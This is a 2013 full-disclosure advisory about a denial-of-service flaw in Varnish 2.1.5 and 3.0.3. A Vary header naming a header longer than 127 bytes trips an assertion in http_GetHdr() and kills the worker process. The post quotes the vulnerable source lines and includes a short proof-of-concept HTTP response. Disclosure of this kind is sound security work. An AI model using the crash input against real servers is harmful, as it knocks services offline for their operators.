full-disclosure - Varnish 2.1.5, 3.0.3 DoS in http_GetHdr() while parsing Vary header

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Date: Tue, 05 Mar 2013 20:58:29 +0000
From: tytusromekiatomek@...hmail.com
To: full-disclosure@...ts.grok.org.uk
Subject: Varnish 2.1.5,
	3.0.3 DoS in http_GetHdr() while parsing Vary header

##############################################
# http_GetHdr()     | (l == strlen(hdr + 1)) #
##############################################
#
# Authors:
#
# 22733db72ab3ed94b5f8a1ffcde850251fe6f466
# c8e74ebd8392fda4788179f9a02bb49337638e7b
# AKAT-1
#
##############################################

# Versions: 3.0.3, 2.1.5

# Summary: 
It's possible to crash Varnish (via assertion) if the single header within the Vary header is longer then 127 bytes.

The 'l' (cache_http.c#265) is the length of the given header name passed in a 'Vary' header and stored in the 'vsb' structure (vsb.h#39).
It's compared with the strlen() of the same header name in the diagnostic() call (cache_http.c#266), which is a macro to assert() (include/vas.h#68).
Because header name was stored in the 'vsb' as a signed char (cache_vary.c#98), the maximum value for 'l' is 127. If the header name is equal
or larger than this value (which is the case for strlen()), the assert() is called and the child is killed with the SIGABRT.

PoC (response)
-- cut --
HTTP/1.1 200 foo
Vary: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

-- cut --

varnish-3.0.3/bin/varnishd/cache_vary.c:
-- cut --
 95         /* Build a header-matching string out of it */
 96         VSB_clear(sbh);
 97         VSB_printf(sbh, "%c%.*s:%c",
 98             (char)(1 + (q - p)), (int)(q - p), p, 0);
 99         AZ(VSB_finish(sbh));
100
101         if (http_GetHdr(sp->http, VSB_data(sbh), &h)) {
-- cut --

varnish-3.0.3/bin/varnishd/cache_http.c:
-- cut --
 260 http_GetHdr(const struct http *hp, const char *hdr, char **ptr)
 261 {
 262     unsigned u, l;
 263     char *p;
 264
 265     l = hdr[0];
 266     diagnostic(l == strlen(hdr + 1));
 267     assert(hdr[l] == ':');
-- cut --
EOF

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